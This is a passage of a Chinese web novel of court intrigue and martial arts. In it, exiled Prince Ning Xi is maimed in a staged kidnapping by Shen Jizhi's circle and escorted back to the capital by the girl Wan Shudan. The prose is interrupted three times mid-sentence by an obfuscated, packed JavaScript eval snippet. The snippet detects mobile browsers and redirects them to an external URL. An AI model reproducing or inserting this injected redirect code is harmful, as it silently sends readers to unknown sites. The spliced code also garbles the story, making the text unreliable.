宁熙眼里透着狠绝,“你以为我不离开京城就会安然吗?三哥四哥指不定想着怎么整我,我这些年着实威胁到他们了。” “郎君,羽翼未丰当敛其翼啊,您就算来了褚城,又能如何?” 宁熙是凭着一股气北上,一路消磨至此,此刻也心下茫然,路漫漫,周围全是些鬼影祟祟。 “先趁着夜色翻进城,找到师父。” “郎君……郎君!” 万姝丹就是在这时以一个极其刁钻的角度探出刀,借着刀本身的重量迫近宁熙,宁熙凭着本能感觉到危险,抬手用剑鞘格挡,旋手将刀别过。他还没来得及看清是什么人时,下一刀又至身前,宁熙拔剑,刀锋擦剑身而过。短短一瞬,两人已过手数招。宁熙发现对方身手很快,身影几乎隐在阴影中,从影子里劈出不怀好意的刀。速度不敌,只好加重力量,将刀速减缓。宁熙将内力灌注剑身,一时间将轻剑变成重剑,刀剑相撞,金属铮鸣。 对方也显然发现遇上了对手,停止出刀,在黑暗中隐匿着。宁熙全神贯注,只听一阵轻微风声,抬手向上出招,却被刀从下方将剑挑掉,落在一旁的草丛里。 糟了! 月光下刀身并不反光,但他还是清晰地看见那锋利的刃向自己逼近。这是什么招式!怎么如此变幻莫测! “阿姝!” 远方传来一声呼喊。 面前人停了手。 宁熙这时才在月光下看清,持刀人是个小女郎,约莫十一二岁的样子。他这时刚经历生离死别未久,一路上又担惊受怕,因此直接认定眼前人是派来的刺客。于是在这一瞬,宁熙从发髻上拔出黑簪,直直刺进面前人的手腕上! 一簪见血。 那人却并未惊呼。 他感觉到对方剧烈抖动一下,刀在下一瞬就要再次劈来! “阿姝!” 声音离得很近了。 刀锋止在宁熙眼前,那刀刃竟丝毫不反射光芒,黑漆漆一线凝在自己头顶上方。 他看到一双冷漠的眼睛,盯着自己就像盯着猎物一般,充满不甘。 “阿姝,住手。” 声音的主人从黑暗中走出,一身月白色衣袍,宁熙看出这人差不多二十岁上下。 “宁熙,你不该来这里。” 宁熙疑惑地观察着对方,“你的声音很耳熟……沈济之?你怎么……” “走吧,我带你进城。” 沈济之将他们带至一处府邸,“先歇会儿吧。” 说完也不等宁熙回答就走出了院门,他看见万姝丹站在小径上,背着他送的那把刀,“阿姝,让我看看,伤得重吗?” 万姝丹不说话,她的眼神冷冷的。 沈济之摸摸她的头,“阿姝,那人伤不得。来,让我看看。”说着就要去拽她的手腕。 万姝丹由他抓住,手腕已经上好药裹好绑带了。 “愈清给你上的药,还是你自己瞎糊弄的?” 万姝丹还是不说话。 “阿姝,说话,告诉二哥。” 她抬眼看了一眼沈济之,眼神有些委屈,“四哥上的药。” “好了,二哥还有事,你先自己去玩会儿,好不好?” “嗯。”说完就要跑。 “不许找那人麻烦。” “……二哥!” 沈济之笑了,“回去让大哥送你个武器?” 万姝丹撅着嘴想了想,“金簪。” 沈济之不疑有他,“那就这样说好了。” 万姝丹看着沈济之离开了,确定不会再回来后,她又返回了那个院子,不找他麻烦?才怪! 她悄悄靠近窗子,见屋里灯火还亮着,却没听见人声。万姝丹轻轻推开窗子,床上躺着一个人,正是用簪子扎了她的那个。另一个正坐在桌子旁,撑着头好像也睡过去了。她悄无声息地翻了进去,慢慢靠近床边,看见那人紧锁着眉头,似乎正被梦魇着,浑身冒汗,嘴唇血色全无,还有些哆嗦。万姝丹正在想要做什么时,那人的眼皮动了动,似有醒来的迹象,她立刻跃上了房梁。 果然听得下面大叫一声。 “郎君,郎君你怎么了!”坐着的那人扑过来,晃着床上的人。 床上的人却没有睁眼。 万姝丹蹲在房梁上看着下面的动静。 * 屋内灯火如豆,沈济之进来时,椅子上的人正在假寐。 “楼叔,人接来了。” 楼仲春睁开眼,“济之,而今可有什么办法?蓝妃新死,蓝家这一支皆被诛,其余均流放,子煦就是在京城,我也不放心,可他追我而来,难道只有谋反这条路了吗?” 沈济之摇摇头,“谋反我们没有胜算。其实宁五留在京城未必会被牵连,再怎么说,那也是陛下的亲生儿子。” “可他连蓝家都容不得……” “楼叔,蓝家是外戚,又是开国功臣之后,遭此大祸也全在意料之中,若是他们能在武帝登基之后就收敛锋芒,退出朝堂,甘愿做个富贵闲人,也许还能保全家族。可他们反而日渐兴盛,如此这般,皇帝当然不会留他们的。” “蓝家并非擅权之人。” “那也光芒太盛,军政两方面他们都有涉及。宁五又是个少年心性,不懂藏拙,竟将太子都压下一头,您觉得皇上不会削其羽翼吗?可也只会剪掉他的势力,他本人皇上是不会动的,咱们这位皇帝虽狠,却还未狠到因此杀子。就是这点心软,让他并未废了南芸,当然其中也有更多牵扯的东西。然这次却不同,宁五秘密北上,是未经武帝许可的,他来褚城,这里还有褚王,再加上楼叔您,皇上就算不认为宁五要造反,也不得不这么认为了。” 楼仲春长叹一声,“我也是救过武帝,这才免遭祸难。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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楼仲春不由得吃了一惊,“你说的,可是南川府下六个县洪水冲毁堤坝那件事?我还以为那次大火中一个人都不剩了。” 沈济之声音低低的,“不瞒楼叔,我有一个大哥,叫慕青,是他将阿姝救出,带回的百花谷。” 这一句话中信息有些大,楼仲春一时间没反应过来,他喃喃:“慕青?青城山……百花谷……济之,你……”他看着几天前找上自己的故人之子,当时楼仲春还没有明白沈济之找到自己所为何事,如今看来,他或许早就有打算了。 “楼叔,我现在活着就只有一个目的了。然而如今还不是时候,宁五岁数还太小。” 楼仲春叹息,“济之,你不必说这些,你是沈慎的儿子,我自然不疑有他。” “能得到楼叔的支持,自然是最好的。” 楼仲春闻言又是一声叹息,“我还有什么用?而今远离京城,连子煦也无法直接保下。” 沈济之笑了,晨光都无法温暖他这抹笑容,“楼叔手握军权,这就是最有优势的地方。” 17.黑簪(二) 宁熙躺在床上发出一声呜咽,打断了二人的对话。楼仲春脸色几变,还是没有上前。沈济之轻轻推了推宁熙。 “沈济之?”宁熙慢慢睁开眼,看清了眼前之人,“我……我师父呢?” 沈济之很轻地笑了一下,“宁五,你知道自己做了一个最坏的决定吗?” 宁熙刚从梦魇中脱离,大脑还混沌着,“什么?” 沈济之的眼神逐渐变冷,“离开京城,是你犯的最大的错误。” 宁熙眼眶红了,他挣扎着撑起上身,声音嘶哑,“他下旨赐死了我的母亲!还有我的舅舅们!外祖父、外祖母……那么多人……那么多人!” 沈济之脸上挂起一丝嘲讽的笑,“那么多人,又如何?你以为你出来了,就可以有任何改变?” 宁熙睁大眼睛,面露凄然,“沈济之……你……你……” 沈济之眼神冰冷,“我变了?不再是你初次见面时认识的那个沈济之了?宁五,我以为遭逢大患,你会自己长大的。” 宁熙在这样的眼神之下,逐渐冷静下来,他下颌收紧,“我……我确实做了一个错误的决定,但当时……” “谁都有冲动的时候,宁五。”沈济之声音淡淡的,好像接下来的话那么不值一提,“但是犯错了,就要能承受它带来的后果。” 阳光渐渐明媚,万姝丹在院子不远处的树上坐着,层层树叶打碎了光芒,在她身上留下点点光斑。然这晨光却照不亮宁熙的眼睛,他高喊着:“这不行!” 沈济之嗤笑,“你还有别的办法吗?” “我……” 沈济之一字一字说:“宁五,你也明白是不是?这是最好的选择了。” 宁熙脸色一下子变得苍白。 “宁熙。”沈济之的声音透露着残忍,“既然是最好的选择,为什么不这样做呢?” 宁熙痛苦地闭上了双眼。 “济之,别太逼他了。” 楼仲春的声音传来。 宁熙猛地睁开眼睛,他偏偏头,看见沈济之身后之人,哽咽出声:“师父……” 楼仲春叹口气,没说什么,转身出了屋门。 沈济之哼笑一声,他直视宁熙双眼,“怎么样,宁熙?我不逼你,你又该如何选择呢?” 宁熙艰难地说:“我能不能再见他一面?” 沈济之奇怪地看了他一眼,转身往外走去,“自然是不能。”他走到门口站住脚,留下一句,“宁熙,凡事三思而后行。” 屋门开关的声音响起,宁熙疲惫地闭上双眼,他刚刚做了一个自己从前不会做的决定,好像随着母亲的去世,许多事情都变得不一样了,连他自己也要一点一点接受改变了。宁熙忽然有些惶恐,曾经那遥远的未来一下子就迫近到自己脸上,让他疼痛,让他猝不及防。他觉得自己好像睡去了一会儿,只是很短的时间,他又惶惶然坐起,茫然地四处看看。 没有人,郎台不在。 宁熙觉得周围变得十分陌生,桌子不是桌子,床不是床。他下了床,脚底绵软,走了几步才找回熟悉的感觉,重新踩回地面。推开门,陌生的院落,是了,他现在在褚城。褚城……离京城好远啊,那么远的地方,他仍逃不掉来自京城的锁链,来自那座宫城的锁链。他的一生,已经与皇宫捆绑住了。宁熙看着陌生的一切,生出了一丝渴望,他想抓住什么。 就在这时,他感觉到头顶有些痒,还以为是只虫子,用手扒拉两下,手背却也被扫到,瘙痒得很。他微微抬头,定睛一看,是一缕细细的黑线。宁熙伸手轻轻拽了两下,上面好像缠住了什么,拽不动。他顺着往上看去,一双明亮的眼睛安在一张倒挂的脸上,没什么表情地看着他。 那不是什么黑线,原来是发丝。 宁熙吓了一跳,刚才外放到四周的心绪一下子撞回胸腔,挤得他胸口发涨,脑袋也晕晕的,噎得满脸通红 “你怎么了?”那倒挂人问他。 几个呼吸间,宁熙才找回自己的声音,“你是什么……”东西。 “你怎么了?”那人不依不饶。 宁熙心脏还在扑腾扑腾地跳着,他转身就要走。 一把刀拦住了他的去路。 宁熙这才认出来,倒挂之人就是昨晚西山林子里的小女郎。 “你……干嘛啊,吓我一跳。” 万姝丹不回答,就直勾勾地盯着他。她看着对方有些发红的眼睛,想起昨晚这人的隐约哭泣,也不知道梦见什么了。她听着那断断续续的哭声,有些为难,在找他麻烦和放过他之间摇摆。万姝丹虽然年纪还小,但已经吃软不吃硬了,别人一哭她就要头大,更别提做梦哭的了,看起来是真有伤心事。 她记得以前也见二哥在梦里哭过,每次问二哥,二哥都不承认,好像梦里的他和醒来的他是完全两个人,清醒时的沈济之永远那么心志坚定,万姝丹觉得她的二哥是不会轻易喊痛的人。所以在她刚开始习武喊痛时,沈济之没有像以前那样抱着安慰她,只是平静地看着她。万姝丹就这样在沈济之平静的目光里,一步一步走到现在。 “找我有事吗?”宁熙见她不说话,只好再次开口。 他的眼里有点点光亮,清风朗月,眉眼玉润,遮上一层云雾后,倒惹出几分怜意。 万姝丹从横梁上翻身跃下,宁熙注意到她手腕上有水,似是冲洗过伤口。万姝丹见他看自己的手腕,于是直接将手腕伸到宁熙眼前,让他看个仔细。被簪子扎过的血洞一下子就放大至眼前,宁熙睁大眼睛,往后退了一步,万姝丹就上前一步,直至宁熙背抵门板,退无可退。 看着那个血窟窿,宁熙摸了摸鼻子,心虚地说:“我……我给你包扎上。” 说着就要抓住万姝丹的手腕,却被她轻巧避开,继续把手腕放在他眼前。 宁熙被这伤口晃得眼睛都要睁不开了,他低下头认真地说:“对不起,我不是故意要伤你的。” 他不自然地撇开眼睛,却又忍不住看回来,“还……还疼吗?” 万姝丹自然不会说疼,一直举着手腕,执着地塞在他眼前。 宁熙以为她疼得厉害,碍于他的面子不说,只能让他看见来表达自己的委屈。宁熙的脸色有些尴尬和慌张,他又重复道:“我给你包扎上吧。” 万姝丹这次没有拒绝。 宁熙感觉出好像道过歉之后,她的心情变得好了一些。于是他尝试着问:“你叫什么名字?” “……” “沈济之是你什么人?” “……” “你的武功跟谁学的?” 问到最后,宁熙都没有得到回应,但他的心情却在这期间变得好多了,好像一下子从云端又回到了地面。看着眼前之人的小脸,宁熙思考着措辞,“你别生气了,我不是故意的,我……” “啊!” 宁熙听见院门口传来一声惊呼,抬头看时,只见一个小郎君跑远了。他手上突然失去准度,回过神时,血色已经透过白色的布条了。宁熙连忙去看万姝丹的脸,却发现对方只是冷冷地看着他。 “你……你怎么连疼都不会喊。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15983734|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>“阿姝,我不是说别找他的麻烦吗?”沈济之走进院落,小郎君跟在他的身后。 “我没找他麻烦。” “她没找我麻烦。” 万姝丹扫了一眼宁熙,就往沈济之那边走去。 “你自己冲掉的药膏?”沈济之拉过万姝丹的手腕查看。 万姝丹没动静。 沈济之一巴掌轻拍在她的头上,“你也不嫌疼,走,重新找愈清上药。” * 褚城外西山上,一个简陋的小营地已经初具规模,十几号人忙来忙去。 天权从山下匆匆上来,对沈济之说:“郎君,左领卫大将军葛洪、御史大夫王兴业,还有十几号人,离褚城不远了,大概还有两炷香的时间。” “来得好快!”沈济之猛地站起来,“看样子他们在得知宁熙离京以后就追来了,你去将阿姝和宁熙找来,越快越好。” 天权领命离开后,沈济之在原地踱步,脑子有一瞬间的空白。突然他站定了双脚,觉察出自己竟然有点紧张,暗叹不应该这样,无论如何早就迈出了步子,就没有后退的道路了,事情的成败与否,目前全系在自己一个人身上,他不能乱了阵脚。 沈济之深吸一口气,坐了下来,将整个流程又重新细细过了一遍,他必须确保能够将宁熙送回原本的位置,现在还不是他该动的时候。 沈济之自己的羽翼还未丰满,武帝正值盛年,宁熙太小,硬碰硬的话,无异于以卵击石。 脚步声传来,沈济之转头,第一眼看向宁熙,他想,今日若是成功将宁熙救下,希望他能记住自己对他的救命之恩。 万姝丹手握一把短剑,向沈济之示意。 “开始吧。” 万姝丹嘴角勾起很浅的弧度。 宁熙觉得自己的手腕已经开始隐隐作痛,他欲言又止:“沈济之,你确定……” 沈济之笑着说:“阿姝下手很准的,也不公报私仇,你放心好了。” 宁熙闭上了眼睛。 想象中的疼痛没有到来。 “睁开眼睛。” 宁熙困惑,微微转头,向着声音的方向“望”去。 万姝丹又重复道:“睁开眼睛。” “宁熙,睁开眼睛,记住这一刻,以后,切莫冲动行事。”沈济之的声音传来。 一个身穿黑袍的年轻人递给他一颗药丸,“服下这个,能减轻一些疼痛感。” 宁熙睁开眼睛,吃下药丸。他看着万姝丹将剑悬置自己手腕上方,竟是慢慢紧张得肢体都僵硬了,面部细微地抽动。 不过这种感觉没持续多久,他还未看清剑的走势,就感觉到皮肉被划开了。 他瞬间绷直了手臂的肌肉。 黑袍年轻人快速探出手,轻声安慰:“放松,阿姝下手干净利落,只挑断了你的筋,并未伤及其他。我会为你缝合,只是你这右手以后肯定是不如从前了。” 宁熙感觉十分怪异,他眼睁睁地看着对方为自己缝合,针线在皮肉中穿过。 许是他的目光太过认真,黑袍年轻人问:“疼吗?” 宁熙摇摇头,“不……”然而他太紧张了,第一个音就劈了。宁熙故作自然地清清嗓子,咽下口水,“不疼。” 年轻人冲他微微一笑,手下动作不停,很快就完成了缝合。 天权将他们带去了一旁的帐篷里。 沈济之看着宁熙进了帐篷,他忽然冒出一个念头,也不知道宁熙能不能坚持下来,等到时机的到来,那时候他会不会真变成了一个废人? 18.黑簪(三) 这边正在忙碌的时候,那边葛洪和王兴业已经入褚城了,他们直奔楼仲春的府邸,却发现楼仲春不在府里,再去褚王府,发现褚王也不在府。询问一番才得知,褚王上月就去上川镇了,楼仲春则去城墙上检查巡防了。 王兴业并未让人通报楼仲春,而是和葛洪带着几个人去了褚城城墙。 “葛将军?王御史?”楼仲春从城楼中迎出来,“可是有什么事?” 葛洪说:“仲春,我也不多与你叙旧了,只问你,知道五殿下在哪儿吗?” 楼仲春奇道:“五殿下?不是在京城吗?” 王兴业说:“将军,你真不知吗?” 葛洪没等楼仲春回答就说:“仲春啊,你我旧相识一场,你要是知道五殿下在哪里,就快告诉我们,陛下得知五殿下私自离京,发了好大的脾气。” 楼仲春疑惑:“五殿下什么时候离京的?” 王兴业说:“将军……” 葛洪打断道:“王御史,仲春不知道就是不知道,我了解他,现在该怎么办?” 王兴业叹了一口气,“下官早就仰慕楼将军风采,将军为我大夏征战四方,立下汗马功劳,而今也未……哎,我并非想与将军作对,只是殿下擅自离京,已有朝臣上奏,给殿下戴上了谋反的罪名。可陛下深知殿下性情,保留一丝期待,这才会着我与葛将军前来,迎殿下回京。” 这时有副将来报,看着三人在这里似有争执,因而有些犹豫。 楼仲春发现了,“有事就说。” 副将说:“将军,西山上有可疑踪迹,被弟兄们发现了,因此回报将军,是否要进一步探查?” 葛洪抢先一步问:“可是发现殿下了?” 王兴业不动声色打量着楼仲春,楼仲春面上端得四平八稳,“哦?叫弟兄们小心一点,看看是什么人。” 副将走之后,葛洪像是有许多话想跟楼仲春说,但是碍于王兴业在一旁,只得背着手在城墙上走来走去。 王兴业观察着城防,“楼将军不愧常年掌管军务,这褚城可是叫将军管理得很好。有将军镇守宛州,想来北部也不敢有什么异动。只是为何褚王又去了上川镇?” 楼仲春一笑,“王御史抬举我了,我能有多少本事?一个褚城都让我焦头烂额,更不要说还有贺水镇、连山镇、文东镇、上川镇了。褚王看得起我,将褚城这段时间交给我,他自己则去四个镇巡视。以前北部都护府还在的时候,北部部落年年在那里互市,倒也是繁华一阵子。而今都护府名存实亡,那里乱得很。这不,上月北部骑兵就南下骚扰边境,褚王正好在上川镇,才能快速退敌。如今北部也不好过,内部分分合合,正是这种时候,才应该更加小心。” 王兴业似是回忆起什么,淡然一笑,“将军说得是,当年为北部都护府,朝中可是没少争吵,最终还是选择了置之不理。” “王御史听起来似乎有些遗憾?” 王兴业神色不为所动,“陛下做的决定,我这个做臣子的如何置喙?” 楼仲春哈哈一笑,“王御史谦虚,能得陛下如此垂爱,短时间内升至御史大夫一职,必定有过人之处。” 王兴业掸掸衣袖,“都是为陛下办差,将军还是不要为难我了。” 听得王兴业话里有话,楼仲春微微笑了笑,不再说话。一时间安静下来,葛洪听着二人打机锋,也没有插嘴,这时也拿不准要不要活泛一下气氛。正巧副将回来了,他跑得气喘吁吁。楼仲春见了,有些不满,轻斥道:“什么事情,这么慌张!” 王兴业冷不丁开口,“没准是得到了殿下的消息呢。” 楼仲春看向副将,“可是关于殿下的?” 副将不敢大意,认真回报,“是,弟兄们小心翼翼摸上了西山,却没想到那里正是等着咱们去,为首的人点明,他说……说……” 葛洪急了,“他说什么!你这么吞吞吐吐做什么?快说啊!” 副将看了眼王兴业说:“对方说要找王御史谈谈。” 王兴业显然也不知道这葫芦里卖的什么药,只问:“对方有多少人?” “不太清楚,营地里看着只有十几个人。” “可见到殿下了?” “没有。” 王兴业拢了拢袖子,“什么要求?” “要御史您单独去西山上进行谈判。” “不行!” “好。” 葛洪瞪着眼说:“王御史,这不行!” 王兴业笑了,“将军,殿下在他们手里,就是龙潭虎穴我也要去,如此才不负陛下所托。况且这里有两位大将军,还能让我出事不成?” 楼仲春沉吟道:“找一批身手好的,从西山北侧上去,那里山路陡峭,树木茂密,适合潜行。还请王御史多多拖延,不要让他们伤害殿下。” 王兴业说:“我自当尽力而为。” 西山上,王兴业一路畅通无阻,到了营地,就看见为首之人坐在简陋的帐篷前。 “郎台?”王兴业有些吃惊,他原以为这一切是楼仲春安排的,没想到竟是碰见了认识的人,而且还是五殿下身边的近卫首领。 “王御史,好久不见。” 王兴业着实没想到在这里能看见郎台,颤抖着手指他,“你这是……” 郎台坐在那里,有些怀念地问:“我就不与御史多废话了,御史还记得蓝相为人吗?” 王兴业沉默不语。 “怎么?王御史这就不敢说了?还真是忠啊。” 王兴业叹息,“我受恩于陛下,自然也忠于陛下。” “哈哈哈哈哈……好一个受恩于陛下!那看来王御史也能理解我之所为了?” 王兴业并不答这话,只问:“殿下呢?” 郎台却自顾自地说:“我这条命是蓝家救的,而今他们遭此大难,我却一点办法也没有!难道要我眼睁睁地看着他们惨遭毁灭,连仇都不报吗?”他似乎并不要王兴业的回答,继续说:“从蓝府中查抄出的谋反信件,连三司会审都未经过,直接下到台狱。当晚蓝妃就‘自缢’殿内,隔日蓝家上下问罪获斩,多么快的速度啊,生怕晚了就杀不了了。可是楼将军事先就被调离京城,又在怕什么呢?” 王兴业问:“楼仲春可与此事有干系?” 郎台将眼珠子转到王兴业身上,“楼将军手握重兵,又与蓝家有着千丝万缕的联系,自然是我想找的首选之人。殿下是他的徒弟,拿捏住殿下,也就多了筹码。所幸天降大祸,竟将宁熙砸傻了!被我一番忽悠就跟着我离了京。” 王兴业还是那个问题:“殿下呢?” 郎台挥了挥手,一个手下掀开一旁帐篷的帘子,王兴业看见里面躺着一个人,浑身是血。 王兴业大怒,“你这卑鄙小人!殿下若是有个三长两短,你以为你活得了?” 郎台冷笑一声,“本来我打算撺掇宁熙谋反, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16004398|177029||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 结果这个孬种,半夜偷听了我的计划,竟吓得当场撒腿就跑!少不得多费一番功夫将他捉住,为防他对付我,我还挑掉了他的手筋。原以为这样能一路安生到褚城,结果他不断折腾,我只好动手了。”他摸了摸自己的刀,“你刚才说宁熙有个三长两短,我活不了。你以为他没有三长两短,我就能活得了吗!” 王兴业问:“你想要什么?” 郎台说:“事已至此,我早知无力回天,可宁熙若折在我手里,也算是报仇雪恨了。” 王兴业睁大眼睛,“你疯了?殿下是蓝妃亲生,也是蓝家的骨肉!” 郎台哈哈大笑,“可他首先是皇上的孩子!杀他不亏!” 王兴业想通了什么,“你……你……” 郎台狞笑,“想明白了?我早知自己活不了,可如果就这样杀掉宁熙苟活下去,也要过一辈子东躲西藏的生活,太没意思。还不如临死前再拉个垫背的,楼将军和左领卫大将军都不好惹,那就只有委屈御史了。不过御史这样忠于陛下,宁熙又是陛下亲生骨肉,和宁熙一起死,王御史也是愿意的吧?能折掉一个如此忠于陛下之人,我也不亏,你说陛下听说你身亡的消息后,会不会为你难过呢?” 说着他就走向王兴业,抬手就要砍下。 正值此时,一支箭从后方以极快的速度射来,钉穿了郎台的脑袋。 王兴业睁大眼睛退后几步,看着郎台的身子倒下,扬起一圈尘土。 那边已经混战了起来,一时间呼号声不绝。 葛洪匆匆走过来问:“王御史你没事吧?殿下呢?” 王兴业指了指帐篷。 葛洪快步走过去,大力掀开帘子,愣住了,随后大喝:“殿下!” 王兴业站在原地没动,他看着姗姗来迟的楼仲春,沉默不语。 葛洪将宁熙抱了出来,喊道:“快找医官来!” 楼仲春看到宁熙的样子也大吃一惊,“殿下!快!先回去!” 这时王兴业插嘴道:“别回去了,找个医官来跟着,马上葛将军与我就要快马回京了。” 楼仲春震惊,“怎么这么快?先为殿下治伤才是!” 王兴业悠悠看他一眼,“怎么,将军?殿下若是死在褚城,将军恐怕也脱不了干系吧?” “王御史说的什么话!”楼仲春怒道,“殿下是我徒弟!我怎能见死不救?” 王兴业说:“将军?我说不救殿下了吗?况且陛下有令,找到殿下后即刻将其带回京城,难道将军要抗旨吗?” “这……”楼仲春犹豫了。 葛洪在一旁说:“陛下确实是这么吩咐的……哎!” 这时有人上前回报:“将军,医官带来了。” 一个小女郎出现在众人面前,正是易容后的万姝丹。 葛洪怒了,“这是什么意思!” 副将磕磕巴巴道:“这……上月初的时候,北部骑兵南下,褚王将城中的医官全都调去上川镇为兵士们疗伤了。如今城里只留下一堆小徒弟,这是他们之中最熟练医术的一个……” 王兴业一挥手,“好了,让她试试。” 万姝丹小心翼翼走上前,瑟缩着为宁熙诊治,装得还真像那么回事。 王兴业问:“如何?” 万姝丹细声细气地说:“没伤到要害,只是出血量大,还有救。” 王兴业说:“有救就行,简单包扎一下,你就跟着一起上路。” 19.金簪(一) 楼仲春看着他们南下的车马离去,眼中满是思绪,“王兴业心中有疑虑,他是皇上的人,这……” 沈济之说:“他虽然是皇上的人,但他更是个聪明人。最后他大概明白过来了,只是无法求证,多一事不如少一事。这朝中纷扰,他能得皇上青睐,凭的就是不该管的事不管,不该问的事不问,一心只为皇上办事,他此次的职责就是带宁熙回去。” “咱们时间仓促,匆匆编的这个故事,在他看来破绽百出,可那又如何?皇上并未亲眼所见,王兴业有疑虑,就一定会将这疑虑说出来吗?如今蓝家新灭,剩下的老臣虽不言说,难道心中就没有怨惧?此时他来做这个出头鸟,恐怕自己也不会得到什么好下场吧。” “再者宁熙伤成这个样子回京,咬死是被奸人教唆,皇上还能杀了他不成?那未免太寒人心了。” “都是曾经为我朝尽心尽力之人,如今落得这个下场。”沈济之低低笑了起来,声音无尽苍凉,“皇上还迷恋权势,他们就这样手握大权,这不是自己往刀尖上撞么?失去了信任,就什么都没有了,拔除一批,再扶植一批,可他亲手扶植的这些人就一定完全忠心于他么?人心难测,若是一直这般生杀予夺都全然无凭,捏造的伪证就真不会有大白于天下的那天吗?” 楼仲春怔愣地看着沈济之,最终长叹一声,“我大概要不了多久就会被调离宛州,皇上也不放心我继续在这里了,济之,你一个人要多保重啊。” “楼叔放心,我并非孤军作战。”沈济之的眼里染上一丝温柔,“我同阿姝说了,要她尽量拖延一下。现在就剩东宫那边了,希望能赶上。” * 马车上,行进速度不算慢,有些颠簸。 万姝丹看着身边人紧锁的眉,伸手碰了碰他的额头,滚烫。 果然起烧了。 她从怀中拿出一个小瓷瓶,倒出一粒药丸,给他喂下。四哥说这药丸可在关键时刻保他一命,也不知道多久才能下车抓药,还是先喂一粒比较好。万姝丹看着宁熙身上的伤痕,都是自己一刀一刀留下的,她下手时特意避开了要害,所以看起来很吓人,实际上要轻一些。但也不能这么一直烧下去,万一烧坏了就糟糕了。万姝丹从怀里掏出一张纸,上面是药方,她再次细细看了一遍。 这时身边人开始呓语起来,细细碎碎的小声嘟囔,蚊子音一般。万姝丹附身贴近他唇边,也没听清他在说什么,似乎只是无意识地哼哼,也不知道是不是在做和那晚相同的梦。 “……母亲……不要走,那边……” 这下听清楚了。 万姝丹在宁熙下意识蹭过来时就躲开了,结果惹得宁熙的声音带上了哭腔。 “……呜,母亲,不要……” 万姝丹歪头,她长到十二岁,根本没有体会过母爱,她记忆里的母亲连个剪影都没有,只是一个“母亲”称呼,每次都唤不起任何画面。她失去母亲时太小了,只有三岁,唯一记得的只有新年时众人坐在一起的场景,人来人往,谁也看不清。随着时间的流逝,连那场景她都快完全遗忘了。 宁熙还在小声呜咽着,万姝丹根本不知道有什么好哭的。不知为何,她忽然想起二哥做梦哭时,自己只是看着他哭。而眼前这人一哭,自己的心就奇迹般软了一块。兴许是二哥看上去太强大,这人现在却惨兮兮的。万姝丹一时间忘记了自己本不是一个同情心泛滥的人。 她伸手轻轻拍拍他,“哎,醒醒。” 连续叫了几次都不见醒来,也不知道是什么样的梦能困住他这么久。万姝丹抬起手就要一掌拍下去,结果在中途硬生生停下。原因无他,她看见了自己手腕上的绑带,虽然后来四哥重新给自己包扎了,可她总觉得这人给自己包扎时的体温还留在上面。于是这手无论如何是拍不下去了,况且他脸上还挂着泪痕,一道一道的,身上衣服又破破烂烂的,血痕都没洗干净,怎么看怎么可怜。 万姝丹仔细回想了一下自己幼时发烧,二哥照顾她的情形。 “嗯……”她挠挠脸颊,有些羞赧。 “……不要!” 万姝丹吓了一跳,连忙伸出自己的手,轻轻拍在宁熙胸口,凑在他耳边说:“乖……额,你叫什么?嗯……五?五什么?五姐……不是,五哥哥……”当话完整说出来后,就变得顺畅很多,“五哥哥乖,不要哭了,不难过。” 万姝丹腹诽,她原以为长得这么漂亮的是个姐姐,虽然声音不够细。可当她给他包扎时,才发现这是个男性的躯体。 “五哥哥乖……哦。” 就在这时宁熙突然大叫一声:“别!” 他睁开了赤红的双眼,似是没有认出眼前之人,抬手就要抓住万姝丹,然而他的左手实在不够灵活,被万姝丹轻巧别过,按住了他乱动的手。 “别动,一会儿伤口裂了我还得重新给你包。” 这个有些冷淡的声音让宁熙清醒了一些,“你是?” 他努力抬起头,扫视了一下周围。 “嘘,我现在是一个小医官。”万姝丹小声对宁熙说,“已经在往京城走的路上了。” “你……”宁熙从面前之人的双眼中看出了熟悉,这时才理解沈济之说的那句“让阿姝跟着你”是什么意思。 “嗯?” 这么一长句话和有问必有应的场景,让宁熙一时间有些恍惚,“你会说话啊。” 万姝丹奇怪地看他一眼,好像在看一个傻子。 宁熙说完也觉得不对,“不是,我的意思是,我以为你只跟沈济之交流,对别人都很冷漠。” 万姝丹闻言就把手腕搁在他眼前。 “……我这不是冷漠,是受惊了,以为你是来杀我的,才动的手。” 万姝丹歪头,“我不是这个意思,你捅我一簪子,我给你一刀……好多刀,咱俩扯平了。” 宁熙这才尝试看看自己身上是个什么情况,刚动一下,就觉得浑身都在疼,手腕更是疼得厉害,好像痛觉在一瞬间加倍落在自己身上。 万姝丹按住他,“你别动。” 他低声呻吟。 万姝丹问:“怎么了?” 宁熙小声说:“好痛啊,你怎么下手这么狠?痛死了。” 平生第一次有人跟自己喊痛,万姝丹觉得有些新奇,她问:“哪里痛?” 宁熙蒙了,“什么哪里,哪里都在痛,手腕最疼了。你,这根本不叫扯平,你分明是在报复我。” 万姝丹说:“二哥让我这么做的。” 宁熙不听,“那就是你公报私仇。” 